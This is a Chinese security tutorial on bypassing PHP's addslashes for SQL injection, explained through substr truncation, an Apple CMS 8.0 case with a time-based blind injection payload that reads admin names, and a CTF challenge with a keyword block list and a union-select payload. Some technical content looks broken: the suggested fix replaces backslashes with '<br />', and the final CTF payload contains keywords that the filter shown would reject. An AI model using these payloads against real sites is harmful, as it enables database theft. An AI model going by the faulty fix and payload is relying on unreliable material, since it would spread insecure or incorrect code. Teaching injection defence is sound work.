[红日安全]代码审计Day13 - 特定场合下addslashes函数的绕过
字数 1210 2025-08-18 11:37:41
绕过addslashes函数的SQL注入技术分析与防御
前言
本文详细分析在特定场景下如何绕过addslashes函数的防护实现SQL注入攻击,通过实际案例和CTF题目讲解相关技术原理及防御方法。
基础知识
addslashes函数
addslashes函数用于在特定字符前添加反斜线进行转义:
string addslashes ( string $str )
转义字符包括:
- 单引号(')
- 双引号(")
- 反斜线(\)
- NUL(NULL字符)
substr函数
substr函数用于返回字符串的子串:
string substr ( string $string , int $start [, int $length ] )
漏洞原理分析
典型绕过场景
当同时使用addslashes和substr函数时,可能出现安全绕过:
- 用户输入包含单引号和反斜杠,如:
1234567890123456789\' addslashes处理后变为:1234567890123456789\\\'substr截取前20个字符:1234567890123456789\'(反斜杠被截断)
SQL语句拼接效果
原始SQL:
select count(p) from user u where user = '1234567890123456789\' AND password = '$pass'
当pass=or 1=1#时,完整SQL变为:
select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'
由于反斜杠使最后一个单引号失效,user值被解析为1234567890123456789\' AND password =,导致SQL注入成功。
实际案例分析:苹果CMS 8.0
漏洞位置
inc/common/template.php文件中存在SQL注入点:
$sql = "select * from mac_vod where 1=1 ".$lp['wd'];
防御机制分析
-
输入处理流程:
- 通过
be("all", "wd")获取输入 - 使用
addslashes转义 - 调用
chkSql()进行安全检查
- 通过
-
chkSql函数处理:
- URL解码(
urldecode) StopAttack函数过滤htmlEncode实体编码
- URL解码(
-
htmlEncode函数缺陷:
原始函数未处理反斜杠:function htmlEncode($str){ $str = str_replace(chr(38), "&",$str); $str = str_replace(">", ">",$str); $str = str_replace("<", "<",$str); $str = str_replace(chr(39), "'",$str); $str = str_replace(chr(32), " ",$str); $str = str_replace(chr(34), """,$str); $str = str_replace(chr(9), " ",$str); $str = str_replace(chr(13), "<br />",$str); $str = str_replace(chr(10), "<br />",$str); // 缺少对反斜杠(chr(92))的处理 return $str; }
绕过方法
使用双URL编码绕过addslashes:
wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63
防御措施
修复方案
在htmlEncode中添加对反斜杠的处理:
$str = str_replace(chr(92), "<br />",$str); // 新增修复代码
综合防御建议
- 使用预处理语句(PDO/prepared statements)
- 最小权限原则设置数据库账户
- 输入验证与输出编码结合
- 避免直接拼接SQL语句
- 使用Web应用防火墙(WAF)
CTF题目分析
题目代码
// index.php
<?php
require 'db.inc.php';
function dhtmlspecialchars($string) {
// 实体编码转换
}
function dowith_sql($str) {
// 关键词过滤
$check = preg_match('/select|insert|update|delete|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// WAF处理
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 业务处理
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
// 输出结果
}
?>
解题思路
-
分析过滤机制:
dowith_sql过滤SQL关键词dhtmlspecialchars实体编码特殊字符addslashes转义特殊字符
-
可能的绕过方式:
- 使用双重编码
- 利用参数解析特性
- 使用注释符绕过过滤
-
最终payload示例:
/index.php?i_d=1 union select 1,2,3,4%23&submit=1
总结
addslashes与字符串截断结合可能导致安全绕过- 多层防御机制间可能存在逻辑漏洞
- 输入处理应遵循"深度防御"原则
- 输出编码应根据上下文选择适当方式
- 定期安全审计和渗透测试至关重要
参考资源
- PHP官方文档 - addslashes函数
- OWASP SQL注入防御指南
- 安全编码最佳实践
- Web应用安全测试方法论